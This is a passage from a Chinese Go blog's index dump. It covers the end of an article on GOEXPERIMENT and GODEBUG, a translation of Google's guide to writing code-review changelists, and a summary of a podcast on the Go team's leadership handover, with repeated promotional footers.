相对于GOEXPERIMENT的flags的数量，GODEBUG的设置项更多，下面我们根据go官方资料整理一个GODEBUG设置项列表供大家参考（信息截至2024.10.7）。\n4. GODEBUG设置的历史演进 下表按照Go版本顺序列出了各个GODEBUG设置，包括它们被引入的版本、含义以及如何开启和关闭它们：\n不过请注意以下几点：\n默认值可能会随着Go版本的更新而改变。 某些设置可能在未来的Go版本中被移除。 部分设置（如tlsmaxrsasize）允许指定具体的数值，而不仅仅是0或1。 有些设置（如multipartmaxheaders和multipartmaxparts）在默认情况下是无限制的，需要明确设置一个数值来启用限制。 5. 小结 在Go语言的演进过程中，GOEXPERIMENT和GODEBUG两个机制起到了至关重要的作用。GOEXPERIMENT为新特性的实验和测试提供了灵活的环境，使得开发者可以在正式发布之前尝试和反馈新功能，从而确保Go语言的创新不会影响到已有代码的稳定性。通过这种方式，Go团队能够逐步引入新特性，同时维持向后兼容性。\n另一方面，GODEBUG则为开发者提供了在运行时控制特性行为的工具，使得新版本引入的破坏性更改能够被临时禁用。这种灵活性使得开发者有一个平滑过渡的机会，能够在更新的同时，保证应用的平稳运行，避免了因语言更新而导致的潜在问题，使Go能够在保持稳定性的同时不断创新。\n总的来说，这两个机制共同构成了Go语言特性发布的“双保险”，确保了语言的持续发展与稳定性之间的平衡。这一策略不仅促进了Go语言的创新，也增强了开发者的信心，使其能够在不断变化的环境中有效地编写和维护代码。\n6. 参考资料 Go, Backwards Compatibility, and GODEBUG – https://go.dev/doc/godebug Proposal: Extended backwards compatibility for Go – https://go.googlesource.com/proposal/+/master/design/56986-godebug.md Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/11/go-evolution-dual-insurance-goexperiment-godebug/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-evolution-dual-insurance-goexperiment-godebug-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/10/11/go-evolution-dual-insurance-goexperiment-godebug\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/10/11/go-evolution-dual-insurance-goexperiment-godebug\"\u003ehttps://tonybai.com/2024/10/11/go-evolution-dual-insurance-goexperiment-godebug\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言自诞生以来就以其简洁、高效和强大的并发支持而闻名，Go团队承诺保持\u003ca href=\"https://go.dev/doc/go1compat\"\u003eGo1向后兼容性\u003c/a\u003e，以确保用户的代码在未来的版本中继续正常运行。然而，保持语言的稳定性与不断创新(增加新特性)之间的平衡一直是Go团队面临的挑战。为了应对这一挑战，Go语言引入了两个关键机制：GOEXPERIMENT和GODEBUG来平衡新功能的试验、稳定发布和向后兼容。这两个机制共同构成了Go语言特性发布的“双保险”，确保语言能够稳步前进的同时，不会因为激进的改变而影响现有代码的稳定性。本文就来简单探讨一下这两个机制是如何保障Go语言新特性稳定发布的。\u003c/p\u003e\n\u003ch2 id=\"1-goexperiment新特性的摇篮\"\u003e1. GOEXPERIMENT：新特性的摇篮\u003c/h2\u003e\n\u003cp\u003eGOEXPERIMENT是一个Go语言的环境变量，是用于控制实验性特性的机制。它允许开发者在编译时（使用go build、go install、go run或go test）启用一些尚未正式发布的语言特性或优化。通过GOEXPERIMENT，Go团队能够在正式发布之前广泛测试新功能，收集反馈并进行必要的调整。\u003c/p\u003e","title":"Go语言演进的双保险：GOEXPERIMENT与GODEBUG"},{"content":"\n本文永久链接 – https://tonybai.com/2024/10/11/the-cl-author-guide-to-getting-through-code-review\nGoogle在软件工程领域对IT界做出了卓越的贡献，从《Google软件工程》，到Google Style Guides，再到The Change Author’s Guide。这些实践参考不仅提升了软件工程的标准，也为全球IT行业的发展提供了宝贵的资源和指导。由于Go是Google开源的，其cl review基本上是遵循了Google内部的标准和实践，可以帮助开发人员更快地完成审核并获得更高质量的结果。因此在这篇文章中，我翻译一下The Change Author’s Guide，供大家参考。\nThe Change Author’s Guide分为三部分，由于每一部分篇幅都不多，这里就放在一起了。本次翻译是基于Google Engineering Practices Documentation的commit 3bb3ec25b3b0199f4940b1aa75f0ac5c5753301c进行的。\n注：Google内部使用的术语CL代表“变更列表(changelist)”，指的是一个自包含的更改，该更改已经提交到版本控制系统或正在进行代码评审。其他组织通常称之为“变更”、“补丁”或“拉取请求(PR)”。\n1. 编写良好的CL描述 CL描述是变更的公开记录，重要的是它能够传达以下信息：\n做了什么 变更？这应该总结主要的变化，使读者在不需要阅读整个CL的情况下了解正在发生的变化。 为什么要做出这些变更？作为作者，你在做出这个变更时有什么背景？以及你做出的那些在源代码中无法反映出来的决策？等等。 CL描述将成为我们版本控制历史的一部分，未来可能会被数百人阅读。\n未来的开发人员将根据描述搜索你的CL。未来某人可能因为对其相关性有模糊的记忆而寻找你的变更，但没有具体细节。如果所有重要信息都在代码中而非描述中，他们将更难找到你的CL。\n而且，在他们找到CL后，是否能够理解为什么做出这个变更？阅读源代码可能会揭示软件在做什么，但可能不会揭示其存在的原因，这可能会使未来的开发人员更难知道他们是否可以移动切斯特顿的栅栏(Chesterton’s fence)。\n译注：切斯特顿的栅栏是一种启发式方法，由G.K.切斯特顿提出，旨在告诫人们在改变任何系统之前，应先了解该系统存在的原因和功能，否则可能会造成更大的问题。\n一个编写良好的CL描述将帮助这些未来的工程师——有时，也包括你自己！\n1.1 第一行(first line) 简短总结所做的内容。 使用完整句子，以命令的形式书写。 后面跟一个空行。 CL描述的第一行应该是对具体做了什么的简短总结，后面跟一个空行。这是出现在版本控制历史摘要中的内容，因此应该提供足够的信息，使未来的代码搜索者无需阅读你的CL或其整个描述就能理解你的CL实际上做了什么，或与其他CL的不同之处。也就是说，第一行应该独立存在，让读者更快地浏览代码历史。\n尽量保持第一行简短、重点突出且切中要点。清晰性和对读者的实用性应是最重要的。\n按照传统，CL描述的第一行应该是一个完整的句子，并以命令形式书写（即祈使句）。例如，应该说“Delete the FizzBuzz RPC and replace it with the new system.”，而不是“Deleting the FizzBuzz RPC and replacing it with the new system.”，不过，你不必将其余的描述写成祈使句。\n1.2 主体信息要丰富 第一行应该是简短且重点突出的摘要，而其余的描述应详细说明并包括读者理解变更列表所需的任何补充信息。它可能包括对正在解决的问题的简要描述，以及为什么这是最佳方法。如果该方法有任何不足之处，应该指出。如果有相关信息也要列出，包含背景信息，如错误编号、基准测试结果和设计文档链接等。\n如果你包含外部资源的链接，请考虑由于访问限制或保留政策，未来读者可能无法看到这些链接。在可能的情况下，包含足够的上下文，以便审查者和未来读者理解CL。\n即使是小的CL也值得关注细节。将CL放在上下文中。\n1.3 不好的CL描述 “Fix bug”是一个不充分的CL描述。什么bug？你做了什么来修复它？其他类似的不好的描述包括：\n“Fix build.” “Add patch.” “Moving code from A to B.” “Phase 1.” “Add convenience functions.” “kill weird URLs.” 其中一些都是取自真实的CL描述。虽然简短，但它们没有提供足够的有用信息。\n1.4 良好的CL描述 以下是一些好的CL描述示例。\n1.4.1 功能变更 示例：\nRPC: Remove size limit on RPC server message freelist. Servers like FizzBuzz have very large messages and would benefit from reuse. Make the freelist larger, and add a goroutine that frees the freelist entries slowly over time, so that idle servers eventually release all freelist entries. 第一行描述了CL实际做了什么。其余的描述谈论了正在解决的问题、为什么这是一个好的解决方案以及有关具体实现的更多信息。\n1.4.2 重构 示例：\nConstruct a Task with a TimeKeeper to use its TimeStr and Now methods. Add a Now method to Task, so the borglet() getter method can be removed (which was only used by OOMCandidate to call borglet\u0026#39;s Now method). This replaces the methods on Borglet that delegate to a TimeKeeper. Allowing Tasks to supply Now is a step toward eliminating the dependency on Borglet. Eventually, collaborators that depend on getting Now from the Task should be changed to use a TimeKeeper directly, but this has been an accommodation to refactoring in small steps. Continuing the long-range goal of refactoring the Borglet Hierarchy. 第一行描述了CL做了什么以及这是如何与过去不同的。其余的描述谈论了具体实现、CL的背景、解决方案并不理想以及可能的未来方向。它还解释了为什么这个变更被做出。\n1.4.3 需要一些上下文的小CL 示例：\nCreate a Python3 build rule for status.py. This allows consumers who are already using this as in Python3 to depend on a rule that is next to the original status build rule instead of somewhere in their own tree. It encourages new consumers to use Python3 if they can, instead of Python2, and significantly simplifies some automated build file refactoring tools being worked on currently. 第一句描述了实际的变更。其余的描述解释了为什么这个变更被做出，并给审查者提供了大量的上下文信息。\n1.5 使用标签(tags) 标签是手动输入的label，可用于对CL进行分类。这些标签可能由工具支持，也可能只是团队惯例。\n例如：\n“[tag]“ “[a longer tag]“ “#tag” “tag:” 使用标签是可选的。\n添加标签时，考虑它们是否应该在CL描述的主体中或第一行中。限制在第一行中使用标签的数量，因为这可能会模糊内容。\n以下是带标签和不带标签的示例：\n// Tags are okay in the first line if kept short. [banana] Peel the banana before eating. // Tags can be inlined in content. Peel the #banana before eating. // Tags are optional. Peel the banana before eating. // Multiple tags are acceptable if kept short. #banana #apple: Assemble a fruit basket. // Tags can go anywhere in the CL description. \u0026gt; Assemble a fruit basket. \u0026gt; \u0026gt; #banana #apple // Too many tags (or tags that are too long) overwhelm the first line. // // Instead, consider whether the tags can be moved into the description body // and/or shortened. [banana peeler factory factory][apple picking service] Assemble a fruit basket. 1.6 生成的CL描述 有些CL是由工具生成的。只要有可能，它们的描述也应该遵循此处的建议。也就是说，它们的第一行应该简短、重点突出且独立，CL描述主体应包含有助于审查者和未来代码搜索者理解每个CL效果的信息细节。\n1.7 提交CL前审查描述 CL在审查过程中可能会发生重大变化。在提交CL前审查CL描述是值得的，可以确保描述仍然真实反映CL的内容。\n2. 小型CL 2.1 为什么要写小型的CL？ 小而简单的CL有以下优点：\n审查速度更快。审查者更容易找到几分钟的时间来审查小CL，而不是腾出30分钟的时间来审查一个大CL。 审查更彻底。 对于大变更，审查者和作者往往会因大量详细评论反复交换而感到沮丧，有时甚至会错过或忽略重要点。 引入错误的可能性更小。由于你所做的更改较少，因此你和审查者更容易有效地推理CL的影响，并查看是否引入了错误。 被拒绝时浪费的工作更少。 如果你写了一个巨大的CL，然后审查者表示整体方向错误，你就浪费了很多工作。 更容易合并。 处理一个大CL需要很长时间，因此在合并时会遇到许多冲突，你将不得不频繁合并。 更容易设计良好。 完善小变更的设计和代码质量要比完善大变更的所有细节容易得多。 审查阻塞更少。 发送自包含的整体变更部分允许你在等待当前CL审查时继续编码。 回滚更简单。 大CL更可能涉及在初始CL提交和回滚CL之间更新的文件，从而增加回滚的复杂性（中间的CL可能也需要回滚）。 请注意，审查者有权仅因为变更过大而直接拒绝你的变更。通常，他们会感谢你的贡献，但会要求你以某种方式将其拆分为一系列较小的变更。在你已经编写完变更后拆分它可能会花费很多时间，或者需要大量时间来争论审查者为什么应该接受你的大变更。因此，最好一开始就写小型CL。\n2.2 多小算小？ 一般而言，CL的合适大小是一个自包含的变更。这意味着：\nCL进行最小变更，只解决一件事。这通常只是一个功能的一部分，而不是一次性完成整个功能。一般来说，最好宁可编写太小的CL，也不要编写太大的CL。与你的审核者合作找出可接受的尺寸。 CL应该包含相关的测试代码。 审查者理解CL所需的一切（除未来开发外）都应包含在CL中，比如本CL的描述、现有代码库或他们已经审查过的CL。 系统在CL被检查入库后仍能良好工作，适用于其用户和开发人员。 CL不应小到其含义难以理解。如果你添加了一个新的API，应该在同一个CL中包含对该API的使用方法，以便审查者更好地理解API将如何使用。这也能防止未使用的API被提交。 没有关于“过大”的硬性规则。100行通常是合理的CL大小，而1000行通常被认为过大，但这取决于审查者的判断。变更涉及的文件数量也会影响其“大小”。在一个文件中的200行变更可能是可以接受的，但变更分布在50个文件中的话通常会被认为过大。\n请记住，尽管你从开始编写代码的那一刻起就与代码密切相关，审查者通常没有上下文。对你来说合适大小的CL可能对审查者来说会是难以接受的。若有疑问，写比你认为需要的更小的CL。审查者很少抱怨收到的CL太小。\n2.3 大型CL什么时候可以？ 在某些情况下，大变更并不那么糟糕：\n通常可以将删除整个文件视为仅一行变更，因为审查者审核它所花费的时间很少。 有时，大CL是由你完全信任的自动重构工具生成的，审查者的工作只是验证并确认他们确实想要这个变更。这些CL可以更大，尽管上述一些注意事项（例如合并和测试）仍然适用。 2.4 高效地编写小型CL 如果你编写了一个小型CL，然后等待审查者批准它，再写下一个CL，那么你将浪费很多时间。因此，你需要找到一种方法，在等待审查时不会阻塞自己。这可能涉及同时处理多个项目，找到愿意立即可用的审查者，进行面对面审查，进行配对编程，或者以某种方式拆分你的CL，以便你能够立即继续工作。\n2.5 拆分CL 如果存在多个相互依赖的CL时，我们通常有必要在深入编码之前从高层次考虑如何拆分和组织这些CL。\n除了使你作为作者更容易管理和组织CL外，这也让你的代码审查者更容易，从而使你的代码审查更高效。\n以下是将工作拆分为不同CL的一些策略。\n2.5.1 将多个变更堆叠在一起 拆分CL的一种方法是编写一个小CL，发送审查，然后立即开始编写一个基于第一个CL的另一个CL。大多数版本控制系统都允许你以某种方式做到这一点。\n2.5.2 按文件拆分 另一种拆分CL的方法是按文件分组，这些文件需要不同的审查者，但其他方面是自包含的变更。\n例如：你发送一个CL用于对protocol buffer修改，另一个CL用于对使用该proto的代码的更改。你必须在code CL之前提交proto CL，但它们可以同时接受审查。如果这样做，你可能想通知两组审查者你编写的另一个CL，以便他们了解你的变更的上下文。\n另一个例子：你发送一个CL用于代码变更，另一个用于使用该代码的配置或实验；如果有必要，这也更容易回滚，因为配置/实验文件有时比代码变更更快地推送到生产环境。\n2.5.3 横向拆分 考虑创建共享代码或存根，以帮助隔离技术栈各层之间的变更。这不仅有助于加快开发速度，还鼓励层之间的抽象。\n例如：你创建了一个计算器应用程序，其中有客户端、API、服务和数据模型层。共享的proto signature可以将服务层和数据模型层相互抽象。类似地，API存根可以将客户端代码的实现与服务代码分开，使它们能够独立演进。类似的思路也可以应用于更细粒度的函数或类级别的抽象。\n2.5.4 纵向拆分 与分层的横向方法相对应，你可以将代码拆分为更小、全栈、垂直的功能。这些功能中的每一个都可以独立并行实现。这使得一些轨道能够继续前进，而其他轨道则在等待审查或反馈。\n回到我们在横向拆分所举的计算器示例。你现在想支持新的运算符，如乘法和除法。你可以通过将乘法和除法实现为独立的纵向特性或子功能来拆分，尽管它们可能有一些重叠，例如共享按钮样式或共享验证逻辑。\n2.5.5 横向和纵向拆分 为了进一步发展，你可以结合这些方法并制定一个实施计划，其中每个单元都是独立的CL。从模型（底部）开始，逐渐推进到客户端：\n2.6 将重构与功能变更分开 通常最好将重构与功能变更或错误修复分开。例如，移动和重命名一个类应该与修复该类中的错误放在不同的CL中。这样，审查者更容易理解每个CL引入的变更。\n不过，小的清理工作，例如修复局部变量名称，可以包含在功能变更或错误修复CL中。开发人员和审查者需判断何时重构的规模过大，以至于将其包含在当前CL中会使审查更加困难。\n2.7 将相关的测试代码放在同一个CL中 CL应该包括相关的测试代码。请记住，这里的“小”指的是CL应该聚焦且不是单纯的行数问题。\n所有谷歌的变更都需要测试。\n添加或更改逻辑的CL应该伴随新的或更新的测试，以验证新行为。纯重构CL（不打算改变行为）也应有测试覆盖；理想情况下，这些测试已经存在，但如果没有，你应添加它们。\n独立的测试修改可以先放入单独的CL，类似于重构准则。这包括：\n用新测试验证预先存在的提交代码。 确保重要逻辑被测试覆盖。增加对受影响代码后续重构的信心。例如，如果你想重构没有测试覆盖的代码，提交测试CL可以在提交重构CL之前可以验证受测行为在重构前后是否保持不变。\n重构测试代码（例如，引入助手函数）。 引入更大的测试框架代码（例如，集成测试）。 2.8 不要破坏构建 如果你有多个相互依赖的CL，你需要找到一种方法，在每个CL提交后确保整个系统保持正常工作。否则，你可能会在CL提交之间破坏所有同事的构建，影响大家几分钟（或在稍后的CL提交中出现意外问题时，甚至更长时间）。\n2.9 无法做到足够小 有时你会遇到CL必须很大的情况。这种情况很少发生。练习编写小CL的作者几乎总能找到将功能分解为一系列小变更的方法。\n在编写大CL之前，请考虑是否可以先进行仅重构的CL，以便为更干净的实现铺平道路。与你的团队成员交谈，看看是否有人对如何将功能实现为小CL发表看法。\n如果所有这些选项都失败（这应该非常少见），那么请提前获得审查者的同意，以审核大CL，以便他们对即将到来的内容有所警觉。在这种情况下，预计审查过程会比较漫长，要警惕不要引入错误，并更加细致地编写测试。\n3. 如何处理审查者的意见 当你将代码提交（CL）发送审查时，审查者可能会对你的代码提出多个意见。以下是一些处理审查者意见的有用建议。\n3.1 不要把它视为针对个人 审查的目标是维护我们的代码库和产品的质量。当审查者对你的代码提出批评时，请将其视为他们试图帮助你、代码库和谷歌的一种方式，而不是对你或你能力的个人攻击。\n有时，审查者可能会感到沮丧，并在评论中表达这种沮丧。虽然对于审查者来说，这不是一个好的做法，但作为开发人员，你应该对此有所准备。问问问自己：“审查者想要向我传达的建设性意见是什么？”然后按照他们实际所说的那样进行操作。\n绝不要对代码审查意见做出愤怒的回应。 这是一种严重违反职业礼仪的行为，将在代码审查工具中留下永久记录。如果你太愤怒或烦恼而无法友好地回应，请离开电脑一段时间，或做些其他事情，直到你冷静下来再礼貌地回复。\n一般来说，如果审查者没有以建设性和礼貌的方式提供反馈，请当面与他们解释。如果无法面对面或视频通话，那么可以私下发一封邮件给他们。以友好的方式解释你不喜欢的地方以及希望他们做出怎样的改变。如果他们在这次私人讨论中以非建设性的方式回应，或者没有达到预期效果，请酌情上报给你的经理。\n3.2 修正代码 如果审查者表示他们不理解你代码中的某些内容，你的第一反应应该是澄清代码本身。如果代码无法澄清，请添加代码注释，解释代码存在的原因。如果某个注释似乎没有意义，你再在代码审查工具中做解释。\n如果审查者不理解你的某段代码，未来其他读者也可能无法理解。写一条在代码审查工具中的回应并不能帮助未来的代码读者，但澄清代码或添加代码注释则能帮助他们。\n3.3 协作思考 编写代码变更（CL）可能需要大量工作。最终将其发送审查，感觉一切都完成了，可能会很令人满意，但收到要求更改的评论时也可能会感到沮丧，尤其是当你不同意这些评论时。\n在这样的时刻，请花点时间退后一步，考虑审查者是否提供了有价值的反馈，能帮助代码库和谷歌。你首先要问自己，“我理解审查者所要求的吗？”\n如果你无法回答这个问题，请向审查者寻求澄清。\n然后，如果你理解评论但不同意，重要的是要协作思考，而不是对抗性或防御性思考：\nBad: “No, I’m not going to do that.” Good: \u0026#34;I went with X because of [these pros/cons] with [these tradeoffs] My understanding is that using Y would be worse because of [these reasons]. Are you suggesting that Y better serves the original tradeoffs, that we should weigh the tradeoffs differently, or something else?\u0026#34; 请记住，礼貌和尊重始终应放在首位。如果你不同意审查者的观点，请寻找协作的方式：寻求澄清、讨论优缺点，并解释为什么你处理事情的方法更适合代码库、用户和/或谷歌。\n有时，你可能知道一些审查者不知道的关于用户、代码库或CL的信息。在适当的地方修复代码，并与审查者进行讨论，提供更多上下文。通常，你可以根据技术事实与审查者达成某种共识。\n3.4 解决冲突 解决冲突的第一步始终是尝试与审查者达成共识。如果无法达成共识，请参阅代码审查标准，其中提供了在这种情况下应遵循的原则。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/11/the-cl-author-guide-to-getting-through-code-review/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-cl-author-guide-to-getting-through-code-review-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/10/11/the-cl-author-guide-to-getting-through-code-review\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/10/11/the-cl-author-guide-to-getting-through-code-review\"\u003ehttps://tonybai.com/2024/10/11/the-cl-author-guide-to-getting-through-code-review\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGoogle在软件工程领域对IT界做出了卓越的贡献，从《\u003ca href=\"https://book.douban.com/subject/35838155/\"\u003eGoogle软件工程\u003c/a\u003e》，到\u003ca href=\"https://google.github.io/styleguide/\"\u003eGoogle Style Guides\u003c/a\u003e，再到\u003ca href=\"https://google.github.io/eng-practices/review/developer/\"\u003eThe Change Author’s Guide\u003c/a\u003e。这些实践参考不仅提升了软件工程的标准，也为全球IT行业的发展提供了宝贵的资源和指导。由于Go是Google开源的，其cl review基本上是遵循了Google内部的标准和实践，可以帮助开发人员更快地完成审核并获得更高质量的结果。因此在这篇文章中，我翻译一下The Change Author’s Guide，供大家参考。\u003c/p\u003e","title":"代码提交者的代码评审通关指南[译]"},{"content":"Go语言的新时代：新领导团队和未来规划 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go语言的新时代：新领导团队和未来规划 十月 10, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team\n在最近一期的GoTime播客“Russ Cox on passing the torch”中，主持人Angelica Hill邀请了Go团队的三个核心角色：前任Tech Leader Russ Cox与现任Tech Leader Austin Clements以及Go运行时和编译器的技术负责人Cherry Mui，一起讨论了Go的领导层交接以及对Go未来的规划。\n在播客中，这三人组成的Go的技术领导团队讨论了其内部的重要变动。担任Go技术负责人超过十年的Russ Cox正式卸任，将权杖交给了新的Go技术负责人Austin Clements。同时，Cherry Mui接任Austin之前的职位，成为Go运行时和编译器(也称Go core)的技术负责人。这些领导层变动标志着Go项目发展的一个重要时刻，Austin和Cherry都为各自的角色带来了新的视角，而Russ则转向探索人工智能和软件维护交叉领域的全新角色，继续为团队提供支持。\nRuss Cox：回顾12年的领导之路\nRuss Cox自2008年起参与Go项目，并于2012年成为其技术负责人。Russ分享了他卸任的想法，对他来说，这一决定是顺其自然的发展。他强调，定期更换领导者至关重要，这有助于引入新思想并防止项目陷入停滞。Russ很早就招募了Austin，因为两人对Go 共享相似的愿景，领导权的交接也进行得十分顺利，Russ仍将继续提供支持。\n在他的新角色中，Russ将专注于利用人工智能来简化软件维护工作。他相信，特别是大语言模型，可以帮助自动化诸如问题分类和重复问题检测等耗时的任务。这项探索是一个更广泛的尝试，旨在减少维护人员的工作负担，并提高项目管理的整体效率。\nAustin Clements：稳定与增长的愿景\n加入Go团队已有十多年的Austin Clements担任新技术负责人，致力于保持Go的稳定性。Austin强调，虽然Go保持着稳定和简洁，但它也必须继续演进。他的首要目标之一是改善Go的可扩展性——无论是在Go的开发过程中，还是在背后的工程流程中。\nAustin还希望通过提高透明度和扩大社区参与度，赋能社区。他希望创建能够更好地整合用户反馈的平台(可能是一个Forum)，使贡献者能够开发与核心团队目标一致的工具和解决方案。\n在性能改进方面，Austin长期致力于优化Go的垃圾回收系统。他目前正在试验一种新算法，幽默地称其为“绿茶”，旨在优化资源使用，进一步推动Go在越来越大的系统上扩展的能力。\nCherry Mui：应对核心扩展性挑战\n作为Go运行时和编译器的新技术负责人，Cherry Mui自2016年加入Go团队以来，主要专注于解决与人和机器扩展性相关的问题。Cherry是一个巾帼，为人十分低调，这次GoTime播客第一次贴出了她的照片，根据她的自我介绍，她来自布朗大学化学系，机缘巧合加入了Go团队。从Cherry的声音来看，她是一个“女汉子”，但又与照片的形象不太一致:)。从Cherry的口音来看，她似乎不是土生土长的美国人。\n在播客中，Cherry认为，Go的用户基础在快速增长，而核心团队的资源却有限。她的任务是确保Go平台能够支持这一日益增长的社区，无论是通过构建更好的API还是平台，帮助用户在Go的基础上构建更强大的工具和解决方案。\n在技术扩展性方面，Cherry也提出了自己的关注点。随着机器变得越来越强大，核心数量和内存容量不断增加，Go需要适应以高效地处理更大的工作负载。Cherry表示，她很期待与社区中的工程师合作，解决这些挑战，保持Go简单且可扩展的声誉。\n展望未来：Go的新方向\nAustin和Cherry都对各自的新角色和塑造Go未来的机会感到兴奋。尽管他们都不打算对Go语言进行彻底变革，但他们承诺将继续解决Go社区的不断演变需求，并保持其核心理念的稳定性和简洁性。\n随着Russ Cox现在专注于人工智能在软件维护中的应用，Austin致力于推动社区参与和技术扩展，Cherry聚焦核心基础设施的改进，Go 项目正进入一个全新的时代。这次过渡不仅仅是领导层的更替，更是一种重新焕发活力的感觉，随着Go团队继续保持其初衷，项目也将在新的领导下迎来新的发展阶段：一个充满技术创新和社区互动的时代。Go社区可以期待在Austin和Cherry带来的新视角引导下，Go项目将会迎来一个更加稳健的发展时期，同时也保持着Russ长期积累的智慧和支持。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team/","summary":"\u003ch1 id=\"go语言的新时代新领导团队和未来规划--tony-bai\"\u003eGo语言的新时代：新领导团队和未来规划 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go语言的新时代新领导团队和未来规划\"\u003eGo语言的新时代：新领导团队和未来规划\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 10, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team/#respond\" title=\"《Go语言的新时代：新领导团队和未来规划》上的评论\"\u003e0 